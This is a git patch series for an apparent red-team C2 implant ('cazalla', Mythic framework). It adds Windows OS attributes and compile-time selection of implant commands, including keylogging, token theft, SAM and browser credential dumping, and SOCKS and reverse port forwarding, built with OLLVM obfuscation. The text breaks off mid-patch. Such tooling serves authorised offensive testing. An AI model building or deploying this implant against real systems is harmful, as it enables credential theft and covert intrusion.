From 014bc87eaaa59097cf487f3ab9321952b66cf2a6 Mon Sep 17 00:00:00 2001 From: Marmeus Date: Tue, 20 Jan 2026 14:04:18 +0000 Subject: [PATCH 1/4] Adding attribute supported_os to remaining commands --- Payload_Type/cazalla/cazalla/agent_functions/download.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/exit.py | 3 +++ .../cazalla/cazalla/agent_functions/inline_execute_assembly.py | 3 ++- Payload_Type/cazalla/cazalla/agent_functions/kill.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/make_token.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/rev2self.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/screenshot.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/shell.py | 2 +- Payload_Type/cazalla/cazalla/agent_functions/steal_token.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/upload.py | 3 +++ Payload_Type/cazalla/cazalla/agent_functions/whoami.py | 3 +++ 12 files changed, 33 insertions(+), 2 deletions(-) diff --git a/Payload_Type/cazalla/cazalla/agent_functions/download.py b/Payload_Type/cazalla/cazalla/agent_functions/download.py index 57ddfa5..70e8f71 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/download.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/download.py @@ -35,6 +35,9 @@ class DownloadCommand(CommandBase): supported_ui_features = ["file_browser:download"] author = "@KaseyaOFSTeam" argument_class = DownloadArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py index 2e1719b..70c1425 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/exit.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -25,6 +25,9 @@ class ExitCommand(CommandBase): author = "Kaseya OFSTeam" argument_class = ExitArguments attackmapping = [] + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: response = PTTaskCreateTaskingMessageResponse( diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py index 9a30a64..19a7a39 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute_assembly.py @@ -266,7 +266,8 @@ class InlineExecuteAssemblyCommand(CommandBase): completion_functions = {"coff_completion_callback": coff_completion_callback} attributes = CommandAttributes( dependencies=["inline_execute"], - alias=True + alias=True, + supported_os=[SupportedOS.Windows] ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: diff --git a/Payload_Type/cazalla/cazalla/agent_functions/kill.py b/Payload_Type/cazalla/cazalla/agent_functions/kill.py index db75ea4..bc20834 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/kill.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/kill.py @@ -73,6 +73,9 @@ class KillCommand(CommandBase): attackmapping = ["T1489"] supported_ui_features = ["process_browser:kill"] argument_class = KillArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py b/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py index f1d19d0..1d7be84 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/list_tokens.py @@ -52,6 +52,9 @@ class ListTokensCommand(CommandBase): author = "@KaseyaOFSTeam" supported_ui_features = ["process_browser:list_tokens"] argument_class = ListTokensArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/make_token.py b/Payload_Type/cazalla/cazalla/agent_functions/make_token.py index 33c1871..a04ac07 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/make_token.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/make_token.py @@ -75,6 +75,9 @@ class MakeTokenCommand(CommandBase): author = "@KaseyaOFSTeam" attackmapping = ["T1134.003"] argument_class = MakeTokenArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py b/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py index 3aedbd5..fa74130 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/rev2self.py @@ -23,6 +23,9 @@ class Rev2SelfCommand(CommandBase): author = "@KaseyaOFSTeam" attackmapping = ["T1134.001"] argument_class = Rev2SelfArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py b/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py index b6ad975..ebfcd44 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/screenshot.py @@ -25,6 +25,9 @@ class ScreenshotCommand(CommandBase): author = "@KaseyaOFSTeam" argument_class = ScreenshotArguments attackmapping = ["T1113"] + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/shell.py b/Payload_Type/cazalla/cazalla/agent_functions/shell.py index 1d6905b..792a5b5 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/shell.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/shell.py @@ -36,7 +36,7 @@ class ShellCommand(CommandBase): attackmapping = ["T1059"] argument_class = ShellArguments attributes = CommandAttributes( - supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows] + supported_os=[SupportedOS.Windows] ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: diff --git a/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py b/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py index 5924be7..16b29ce 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/steal_token.py @@ -73,6 +73,9 @@ class StealTokenCommand(CommandBase): attackmapping = ["T1134.001"] supported_ui_features = ["process_browser:steal_token"] argument_class = StealTokenArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/upload.py b/Payload_Type/cazalla/cazalla/agent_functions/upload.py index ae56c93..a1304c3 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/upload.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/upload.py @@ -66,6 +66,9 @@ class UploadCommand(CommandBase): supported_ui_features = ["file_browser:upload"] author = "@KaseyaOFSTeam" argument_class = UploadArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: """ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/whoami.py b/Payload_Type/cazalla/cazalla/agent_functions/whoami.py index 257e275..5a16575 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/whoami.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/whoami.py @@ -23,6 +23,9 @@ class WhoamiCommand(CommandBase): author = "@KaseyaOFSTeam" attackmapping = ["T1083"] argument_class = WhoamiArguments + attributes = CommandAttributes( + supported_os=[SupportedOS.Windows] + ) async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: response = PTTaskCreateTaskingMessageResponse( From 380a498980106e1348cdb08c825ed7225d5b63fb Mon Sep 17 00:00:00 2001 From: Marmeus Date: Tue, 20 Jan 2026 15:51:10 +0000 Subject: [PATCH 2/4] Added Dynamic Commands to be loaded at compilation --- .../cazalla/agent_code/cazalla/Makefile | 11 ++- .../cazalla/agent_code/cazalla/comandos.c | 92 ++++++++++++++++++- .../cazalla/agent_functions/builder.py | 64 ++++++++++++- .../cazalla/cazalla/agent_functions/exit.py | 3 +- .../cazalla/agent_functions/inline_execute.py | 2 +- .../cazalla/cazalla/agent_functions/ls.py | 2 +- .../cazalla/cazalla/agent_functions/ps.py | 2 +- .../cazalla/cazalla/agent_functions/rpfwd.py | 1 - .../cazalla/cazalla/agent_functions/socks.py | 1 - 9 files changed, 166 insertions(+), 12 deletions(-) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile index 18a1f7a..3f95d3a 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/Makefile @@ -38,6 +38,9 @@ else DEBUG_OUTPUT_NUM = $(DEBUG_OUTPUT) endif +# Command enable flags (passed from builder.py) +COMMAND_FLAGS ?= + # Debug flags based on level DEBUG_FLAGS = -DDEBUG_SOCKS -g ifeq ($(DEBUG_LEVEL_NUM),0) @@ -69,17 +72,17 @@ debug_dll: $(BUILD_DIR)/cazalla-debug.dll # Executable Target $(BUILD_DIR)/cazalla.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(LFLAGS) + $(CC) $^ -o $@ $(CFLAGS) -s -D_EXE $(COMMAND_FLAGS) $(LFLAGS) $(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES) - $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS_CONSOLE) $(DEBUG_FLAGS) + $(CC) $^ -o $@ $(CFLAGS) -D_EXE $(COMMAND_FLAGS) $(LFLAGS_CONSOLE) $(DEBUG_FLAGS) # DLL Target $(BUILD_DIR)/cazalla.dll: $(SRC_FILES) - $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(LFLAGS) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) -s $(COMMAND_FLAGS) $(LFLAGS) $(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES) - $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DEBUG_FLAGS) + $(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(COMMAND_FLAGS) $(LFLAGS) $(DEBUG_FLAGS) # Clean up clean: diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index 000fcd3..d537b93 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -5,10 +5,14 @@ #include "paquete.h" /* Forward: handlers for the new commands */ +#ifdef ENABLE_SOCKS_CMD static void startSocksHandler(PAnalizador analizadorTarea); static void stopSocksHandler(PAnalizador analizadorTarea); +#endif +#ifdef ENABLE_RPFWD_CMD static void startRpfwdHandler(PAnalizador analizadorTarea); static void stopRpfwdHandler(PAnalizador analizadorTarea); +#endif BOOL handleGetTasking(PAnalizador obtenerTarea) { _inf("========== handleGetTasking INICIO =========="); @@ -100,41 +104,82 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } _inf("Tarea %u: Analizador creado, entrando en dispatch...", i+1); +#ifdef ENABLE_SHELL_CMD if (tarea == SHELL_CMD){ _inf("Tarea %u: Ejecutando SHELL_CMD", i+1); ejecutarConsola(analizadorTarea); } else if (tarea == EXIT_CMD) { +#else + if (tarea == EXIT_CMD) { +#endif cerrarCallback(analizadorTarea); } else if (tarea == SLEEP_CMD){ sleep(analizadorTarea); +#ifdef ENABLE_PS_CMD } else if (tarea == PROCESS_CMD){ listarProcesos(analizadorTarea); + } +#endif +#ifdef ENABLE_CD_CMD } else if (tarea == CD_CMD) { CambiarDirectorio(analizadorTarea); + } +#endif +#ifdef ENABLE_LS_CMD } else if (tarea == LS_CMD) { ListarDirectorio(analizadorTarea); + } +#endif +#ifdef ENABLE_PWD_CMD } else if (tarea == PWD_CMD) { ObtenerPath(analizadorTarea); + } +#endif +#ifdef ENABLE_CP_CMD } else if (tarea == CP_CMD) { CopiarFichero(analizadorTarea); + } +#endif +#ifdef ENABLE_MKDIR_CMD } else if (tarea == MKDIR_CMD) { CrearRuta(analizadorTarea); + } +#endif +#ifdef ENABLE_RM_CMD } else if (tarea == RM_CMD) { EliminarRuta(analizadorTarea); + } +#endif +#ifdef ENABLE_CAT_CMD } else if (tarea == CAT_CMD) { LeerFichero(analizadorTarea); + } +#endif +#ifdef ENABLE_DOWNLOAD_CMD } else if (tarea == DOWNLOAD_CMD) { DescargarFichero(analizadorTarea); + } +#endif +#ifdef ENABLE_UPLOAD_CMD } else if (tarea == UPLOAD_CMD) { SubirFichero(analizadorTarea); + } +#endif +#ifdef ENABLE_SCREENSHOT_CMD } else if (tarea == SCREENSHOT_CMD) { CapturarPantalla(analizadorTarea); + } +#endif +#ifdef ENABLE_SOCKS_CMD } else if (tarea == START_SOCKS_CMD) { _dbg("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); } else if (tarea == STOP_SOCKS_CMD) { _dbg("Received STOP_SOCKS_CMD"); stopSocksHandler(analizadorTarea); + } +#endif +#ifdef ENABLE_RPFWD_CMD } else if (tarea == START_RPFWD_CMD) { _inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea); _inf("Tarea %u: Llamando startRpfwdHandler()...", i+1); @@ -143,61 +188,102 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } else if (tarea == STOP_RPFWD_CMD) { _dbg("Received STOP_RPFWD_CMD"); stopRpfwdHandler(analizadorTarea); + } +#endif +#ifdef ENABLE_KEYLOG_START_CMD } else if (tarea == KEYLOG_START_CMD) { _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea); StartKeylogger(analizadorTarea); _inf("===== KEYLOG_START_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_KEYLOG_STOP_CMD } else if (tarea == KEYLOG_STOP_CMD) { _inf("===== PROCESSING KEYLOG_STOP_CMD (0x%02X) =====", tarea); StopKeylogger(analizadorTarea); _inf("===== KEYLOG_STOP_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_LIST_TOKENS_CMD } else if (tarea == LIST_TOKENS_CMD) { _inf("===== PROCESSING LIST_TOKENS_CMD (0x%02X) =====", tarea); ListarTokens(analizadorTarea); _inf("===== LIST_TOKENS_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_STEAL_TOKEN_CMD } else if (tarea == STEAL_TOKEN_CMD) { _inf("===== PROCESSING STEAL_TOKEN_CMD (0x%02X) =====", tarea); RobarToken(analizadorTarea); _inf("===== STEAL_TOKEN_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_MAKE_TOKEN_CMD } else if (tarea == MAKE_TOKEN_CMD) { _inf("===== PROCESSING MAKE_TOKEN_CMD (0x%02X) =====", tarea); CrearToken(analizadorTarea); _inf("===== MAKE_TOKEN_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_REV2SELF_CMD } else if (tarea == REV2SELF_CMD) { _inf("===== PROCESSING REV2SELF_CMD (0x%02X) =====", tarea); RevertirToken(analizadorTarea); _inf("===== REV2SELF_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_WHOAMI_CMD } else if (tarea == WHOAMI_CMD) { _inf("===== PROCESSING WHOAMI_CMD (0x%02X) =====", tarea); ObtenerUsuarioActual(analizadorTarea); _inf("===== WHOAMI_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_KILL_CMD } else if (tarea == KILL_CMD) { _inf("===== PROCESSING KILL_CMD (0x%02X) =====", tarea); MatarProceso(analizadorTarea); _inf("===== KILL_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_BROWSER_INFO_CMD } else if (tarea == BROWSER_INFO_CMD) { _inf("===== PROCESSING BROWSER_INFO_CMD (0x%02X) =====", tarea); IdentificarNavegadores(analizadorTarea); _inf("===== BROWSER_INFO_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_BROWSER_DUMP_CMD } else if (tarea == BROWSER_DUMP_CMD) { _inf("===== PROCESSING BROWSER_DUMP_CMD (0x%02X) =====", tarea); DumparNavegador(analizadorTarea); _inf("===== BROWSER_DUMP_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_SAMDUMP_CMD } else if (tarea == SAMDUMP_CMD) { _inf("===== PROCESSING SAMDUMP_CMD (0x%02X) =====", tarea); SamDumpHandler(analizadorTarea); _inf("===== SAMDUMP_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_INLINE_EXECUTE_CMD } else if (tarea == INLINE_EXECUTE_CMD) { _inf("===== PROCESSING INLINE_EXECUTE_CMD (0x%02X) =====", tarea); InlineExecuteHandler(analizadorTarea); _inf("===== INLINE_EXECUTE_CMD COMPLETED ====="); + } +#endif +#ifdef ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD } else if (tarea == INLINE_EXECUTE_ASSEMBLY_CMD) { _inf("===== PROCESSING INLINE_EXECUTE_ASSEMBLY_CMD (0x%02X) =====", tarea); // This command is typically handled via subtasks in Python // But if called directly, we'll handle it here _wrn("inline_execute_assembly should be called via subtasks"); if (analizadorTarea) liberarAnalizador(analizadorTarea); - } else { + } +#endif + else { _wrn("Tarea desconocida: 0x%02x", tarea); _wrn("Tarea %u: Comando desconocido, liberando recursos", i+1); // liberar analizador si no serΓ‘ usado por otro handler @@ -312,6 +398,7 @@ BOOL rutina() { } +#ifdef ENABLE_SOCKS_CMD /* ============================ START_SOCKS_CMD handler Expected params (in this order inside the task buffer): @@ -403,7 +490,9 @@ static void stopSocksHandler(PAnalizador analizadorTarea) { if (analizadorTarea) liberarAnalizador(analizadorTarea); } +#endif +#ifdef ENABLE_RPFWD_CMD /* ============================ START_RPFWD_CMD handler Expected params (in this order inside the task buffer): @@ -518,3 +607,4 @@ static void stopRpfwdHandler(PAnalizador analizadorTarea) { if (analizadorTarea) liberarAnalizador(analizadorTarea); } +#endif \ No newline at end of file diff --git a/Payload_Type/cazalla/cazalla/agent_functions/builder.py b/Payload_Type/cazalla/cazalla/agent_functions/builder.py index 5950d2c..22f21e2 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/builder.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/builder.py @@ -22,7 +22,7 @@ class CazallaAgent(PayloadType): wrapper = False wrapped_payloads = [] note = """C implant Developed by the Kaseya OFSTeam""" - supports_dynamic_loading = False + supports_dynamic_loading = True c2_profiles = ["http"] mythic_encrypts = True translation_container = "cazalla_translator" @@ -198,6 +198,60 @@ class CazallaAgent(PayloadType): StepSuccess=True )) + # Get selected commands and create compiler defines + selected_commands = self.commands.get_commands() + debug_messages.append(f"\n=== COMMAND SELECTION ===") + debug_messages.append(f"Total commands selected: {len(selected_commands)}") + debug_messages.append(f"Selected commands: {', '.join(sorted(selected_commands))}") + + # Map command names to preprocessor define names + # Format: command_name -> ENABLE_XXX_CMD + command_to_define = { + "shell": "ENABLE_SHELL_CMD", + "cd": "ENABLE_CD_CMD", + "ls": "ENABLE_LS_CMD", + "pwd": "ENABLE_PWD_CMD", + "cp": "ENABLE_CP_CMD", + "mkdir": "ENABLE_MKDIR_CMD", + "rm": "ENABLE_RM_CMD", + "cat": "ENABLE_CAT_CMD", + "download": "ENABLE_DOWNLOAD_CMD", + "upload": "ENABLE_UPLOAD_CMD", + "screenshot": "ENABLE_SCREENSHOT_CMD", + "ps": "ENABLE_PS_CMD", + "kill": "ENABLE_KILL_CMD", + "socks": "ENABLE_SOCKS_CMD", + "rpfwd": "ENABLE_RPFWD_CMD", + "keylog_start": "ENABLE_KEYLOG_START_CMD", + "keylog_stop": "ENABLE_KEYLOG_STOP_CMD", + "list_tokens": "ENABLE_LIST_TOKENS_CMD", + "steal_token": "ENABLE_STEAL_TOKEN_CMD", + "make_token": "ENABLE_MAKE_TOKEN_CMD", + "rev2self": "ENABLE_REV2SELF_CMD", + "whoami": "ENABLE_WHOAMI_CMD", + "browser_info": "ENABLE_BROWSER_INFO_CMD", + "browser_dump": "ENABLE_BROWSER_DUMP_CMD", + "samdump": "ENABLE_SAMDUMP_CMD", + "inline_execute": "ENABLE_INLINE_EXECUTE_CMD", + "inline_execute_assembly": "ENABLE_INLINE_EXECUTE_ASSEMBLY_CMD", + } + + # Generate compiler defines for selected commands + command_flags = [] + for cmd_name in selected_commands: + if cmd_name in command_to_define: + define_name = command_to_define[cmd_name] + command_flags.append(f"-D{define_name}") + debug_messages.append(f" -> {cmd_name}: {define_name}") + + # Core commands (exit, sleep) are always included, no flags needed + # Commands with builtin=True (sleep) are always included by Mythic + + command_flags_str = " ".join(command_flags) + debug_messages.append(f"\nGenerated {len(command_flags)} command enable flags") + if command_flags_str: + debug_messages.append(f"Command flags: {command_flags_str}") + agent_build_path = tempfile.TemporaryDirectory(suffix=self.uuid) copy_tree(str(self.agent_path), agent_build_path.name) @@ -274,6 +328,10 @@ class CazallaAgent(PayloadType): # Pass debug level and output type to Makefile # The Makefile will convert string values to numbers make_flags = f"DEBUG_LEVEL={debug_level} DEBUG_OUTPUT={debug_output}" + + # Add command flags to make command + if command_flags_str: + make_flags = f"{make_flags} COMMAND_FLAGS='{command_flags_str}'" if make_flags else f"COMMAND_FLAGS='{command_flags_str}'" command = f"make -C {agent_build_path.name}/agent_code/cazalla {make_target} {make_flags}" filename = f"{agent_build_path.name}/agent_code/cazalla/build/{output_filename}" @@ -336,11 +394,15 @@ class CazallaAgent(PayloadType): elif ollvm_compilation == 2: obfuscation_parameters = level_2_obfuscation_parameters + # Add command flags to OLLVM compilation + command_flags_ollvm = command_flags_str if command_flags_str else "" + # Compilation Command compilation_command = f"clang -target x86_64-w64-mingw32 \ -fuse-ld=lld \ -DDEBUG_LEVEL={debug_level_docker} \ -DDEBUG_OUTPUT={debug_output_docker} \ + {command_flags_ollvm} \ {obfuscation_parameters} \ -L/usr/lib/gcc/x86_64-w64-mingw32/13-posix \ --sysroot=/usr/x86_64-w64-mingw32 \ diff --git a/Payload_Type/cazalla/cazalla/agent_functions/exit.py b/Payload_Type/cazalla/cazalla/agent_functions/exit.py index 70c1425..3a6ecf6 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/exit.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/exit.py @@ -26,7 +26,8 @@ class ExitCommand(CommandBase): argument_class = ExitArguments attackmapping = [] attributes = CommandAttributes( - supported_os=[SupportedOS.Windows] + supported_os=[SupportedOS.Windows], + builtin=True ) async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: diff --git a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py index 15afdd6..d896e7b 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/inline_execute.py @@ -253,7 +253,7 @@ class InlineExecuteCommand(CommandBase): attributes = CommandAttributes( builtin=False, supported_os=[ SupportedOS.Windows ], - suggested_command=True + suggested_command=False ) async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: diff --git a/Payload_Type/cazalla/cazalla/agent_functions/ls.py b/Payload_Type/cazalla/cazalla/agent_functions/ls.py index 21660a5..cc3fe02 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/ls.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/ls.py @@ -111,7 +111,7 @@ class LsCommand(CommandBase): attributes = CommandAttributes( builtin=False, supported_os=[ SupportedOS.Windows ], - suggested_command=True + suggested_command=False ) # async def create_tasking(self, task: MythicTask) -> MythicTask: diff --git a/Payload_Type/cazalla/cazalla/agent_functions/ps.py b/Payload_Type/cazalla/cazalla/agent_functions/ps.py index 1f694c9..4b57086 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/ps.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/ps.py @@ -29,7 +29,7 @@ class PsCommand(CommandBase): attributes = CommandAttributes( builtin=False, supported_os=[ SupportedOS.Windows ], - suggested_command=True + suggested_command=False ) attackmapping = [] diff --git a/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py b/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py index 3688913..f29b9a6 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/rpfwd.py @@ -88,7 +88,6 @@ class RpfwdCommand(CommandBase): attackmapping = [] attributes = CommandAttributes( supported_os=[SupportedOS.Windows], - builtin=True, ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: diff --git a/Payload_Type/cazalla/cazalla/agent_functions/socks.py b/Payload_Type/cazalla/cazalla/agent_functions/socks.py index 308f53f..e54804b 100644 --- a/Payload_Type/cazalla/cazalla/agent_functions/socks.py +++ b/Payload_Type/cazalla/cazalla/agent_functions/socks.py @@ -66,7 +66,6 @@ class SocksCommand(CommandBase): attackmapping = [] attributes = CommandAttributes( supported_os=[SupportedOS.Windows], - builtin=True, ) async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse: From bda69f74f99964ff1e03ac8b1f3be6deff5df24c Mon Sep 17 00:00:00 2001 From: Marmeus Date: Wed, 21 Jan 2026 10:03:25 +0000 Subject: [PATCH 3/4] Fixed Error --- .../cazalla/agent_code/cazalla/comandos.c | 53 ++++++++++--------- 1 file changed, 27 insertions(+), 26 deletions(-) diff --git a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c index d537b93..59f5bed 100644 --- a/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c +++ b/Payload_Type/cazalla/cazalla/agent_code/cazalla/comandos.c @@ -115,63 +115,64 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { cerrarCallback(analizadorTarea); } else if (tarea == SLEEP_CMD){ sleep(analizadorTarea); + } #ifdef ENABLE_PS_CMD - } else if (tarea == PROCESS_CMD){ + else if (tarea == PROCESS_CMD){ listarProcesos(analizadorTarea); } #endif #ifdef ENABLE_CD_CMD - } else if (tarea == CD_CMD) { + else if (tarea == CD_CMD) { CambiarDirectorio(analizadorTarea); } #endif #ifdef ENABLE_LS_CMD - } else if (tarea == LS_CMD) { + else if (tarea == LS_CMD) { ListarDirectorio(analizadorTarea); } #endif #ifdef ENABLE_PWD_CMD - } else if (tarea == PWD_CMD) { + else if (tarea == PWD_CMD) { ObtenerPath(analizadorTarea); } #endif #ifdef ENABLE_CP_CMD - } else if (tarea == CP_CMD) { + else if (tarea == CP_CMD) { CopiarFichero(analizadorTarea); } #endif #ifdef ENABLE_MKDIR_CMD - } else if (tarea == MKDIR_CMD) { + else if (tarea == MKDIR_CMD) { CrearRuta(analizadorTarea); } #endif #ifdef ENABLE_RM_CMD - } else if (tarea == RM_CMD) { + else if (tarea == RM_CMD) { EliminarRuta(analizadorTarea); } #endif #ifdef ENABLE_CAT_CMD - } else if (tarea == CAT_CMD) { + else if (tarea == CAT_CMD) { LeerFichero(analizadorTarea); } #endif #ifdef ENABLE_DOWNLOAD_CMD - } else if (tarea == DOWNLOAD_CMD) { + else if (tarea == DOWNLOAD_CMD) { DescargarFichero(analizadorTarea); } #endif #ifdef ENABLE_UPLOAD_CMD - } else if (tarea == UPLOAD_CMD) { + else if (tarea == UPLOAD_CMD) { SubirFichero(analizadorTarea); } #endif #ifdef ENABLE_SCREENSHOT_CMD - } else if (tarea == SCREENSHOT_CMD) { + else if (tarea == SCREENSHOT_CMD) { CapturarPantalla(analizadorTarea); } #endif #ifdef ENABLE_SOCKS_CMD - } else if (tarea == START_SOCKS_CMD) { + else if (tarea == START_SOCKS_CMD) { _dbg("Received START_SOCKS_CMD"); startSocksHandler(analizadorTarea); } else if (tarea == STOP_SOCKS_CMD) { @@ -180,7 +181,7 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } #endif #ifdef ENABLE_RPFWD_CMD - } else if (tarea == START_RPFWD_CMD) { + else if (tarea == START_RPFWD_CMD) { _inf("===== START_RPFWD_CMD (0x%02X) detected ====", tarea); _inf("Tarea %u: Llamando startRpfwdHandler()...", i+1); startRpfwdHandler(analizadorTarea); @@ -191,91 +192,91 @@ BOOL handleGetTasking(PAnalizador obtenerTarea) { } #endif #ifdef ENABLE_KEYLOG_START_CMD - } else if (tarea == KEYLOG_START_CMD) { + else if (tarea == KEYLOG_START_CMD) { _inf("===== PROCESSING KEYLOG_START_CMD (0x%02X) =====", tarea); StartKeylogger(analizadorTarea); _inf("===== KEYLOG_START_CMD COMPLETED ====="); } #endif #ifdef 